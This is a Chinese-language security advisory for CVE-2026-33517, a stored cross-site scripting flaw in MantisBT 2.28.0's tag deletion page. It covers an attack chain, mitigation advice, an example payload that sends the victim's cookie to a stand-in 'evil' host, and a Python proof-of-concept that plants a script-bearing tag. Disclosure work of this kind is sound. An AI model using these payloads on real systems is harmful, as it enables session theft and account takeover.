IPBUF安全漏洞报告
English
CVE-2026-33517 CVSS 6.1 中危

CVE-2026-33517 MantisBT跨站脚本漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33517
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Mantis Bug Tracker (MantisBT)

相关标签

XSS跨站脚本MantisBTWeb安全CVE-2026-33517中危

漏洞概述

MantisBT是一款广泛使用的开源问题跟踪系统。在其2.28.0版本中,`tag_delete.php`页面存在一处跨站脚本漏洞。当用户删除标签时,系统未对标签名称进行适当的转义处理,直接将其嵌入到确认消息的HTML中。这使得攻击者能够注入恶意HTML和JavaScript代码。若内容安全策略(CSP)设置宽松,攻击者可窃取用户会话或执行恶意操作。

技术细节

该漏洞主要源于MantisBT在处理标签删除请求时的输出编码缺陷。具体而言,`tag_delete.php`脚本在生成删除确认页面时,调用了语言文件中的字符串`$s_tag_delete_message`,并通过`sprintf`函数将标签名称(即`%1$s`参数)直接插入到HTML响应中,且未对用户可控的标签名称进行HTML实体转义。攻击者可以创建一个包含恶意载荷(如`<script>document.location='http://evil/'+document.cookie</script>`)的标签。当管理员或其他用户访问该标签的删除确认页面时,恶意代码将在受害者浏览器中解析执行。尽管CSP可能限制脚本的来源,但若配置不严格,此漏洞可导致会话令牌窃取或账户被接管。

攻击链分析

STEP 1
步骤1
攻击者在MantisBT中创建一个新的标签,并将标签名称设置为包含JavaScript代码的恶意载荷(例如: <script>...</script>)。
STEP 2
步骤2
攻击者诱导管理员或具有权限的用户点击该标签的删除链接,或者攻击者自己访问该页面进行测试。
STEP 3
步骤3
服务器端的`tag_delete.php`脚本接收请求,并生成包含标签名称的确认消息页面,由于未进行转义,恶意HTML/JS被直接输出到页面中。
STEP 4
步骤4
受害者的浏览器解析该页面并执行其中的恶意脚本,导致Cookie窃取、会话劫持或其他恶意行为。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-33517 # This script demonstrates how to trigger the XSS by creating a malicious tag. import requests def exploit(target_url, session_cookie): """ Exploit CVE-2026-33517 by creating a tag with XSS payload and simulating a visit to the delete confirmation page. """ headers = { "Cookie": session_cookie, "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } # 1. Create a malicious tag containing a JavaScript payload payload = "<img src=x onerror=alert('CVE-2026-33517_XSS')>" create_tag_url = f"{target_url}/tag_create.php" # Data required to create a tag (simplified) data = { "name": payload, "description": "PoC Tag for CVE-2026-33517" } try: # Note: CSRF tokens might be required in a real scenario response = requests.post(create_tag_url, headers=headers, data=data) if response.status_code == 200: print("[+] Malicious tag created successfully.") print(f"[+] Payload injected: {payload}") else: print(f"[-] Failed to create tag. Status code: {response.status_code}") return # 2. Trigger the vulnerability (Simulate clicking delete) # In a real attack, the attacker would send the link to the victim. # Assuming tag ID is 1 for demonstration. delete_url = f"{target_url}/tag_delete.php?tag_id=1" print(f"[+] Navigate to this URL to trigger the vulnerability (Reflected/Contextual XSS): {delete_url}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage # exploit("http://localhost/mantisbt", "MANTIS_SESSION_COOKIE=...")

影响范围

MantisBT 2.28.0

防御指南

临时缓解措施
对于无法立即升级的用户,建议手动编辑语言文件,移除 `$s_tag_delete_message` 字符串中的 `sprintf` 占位符 `%1$s`,或者通过版本控制系统回滚引入该问题的特定代码提交(d6890320)。此外,检查并加强Web应用的内容安全策略(CSP)配置,可以有效缓解潜在的脚本执行风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表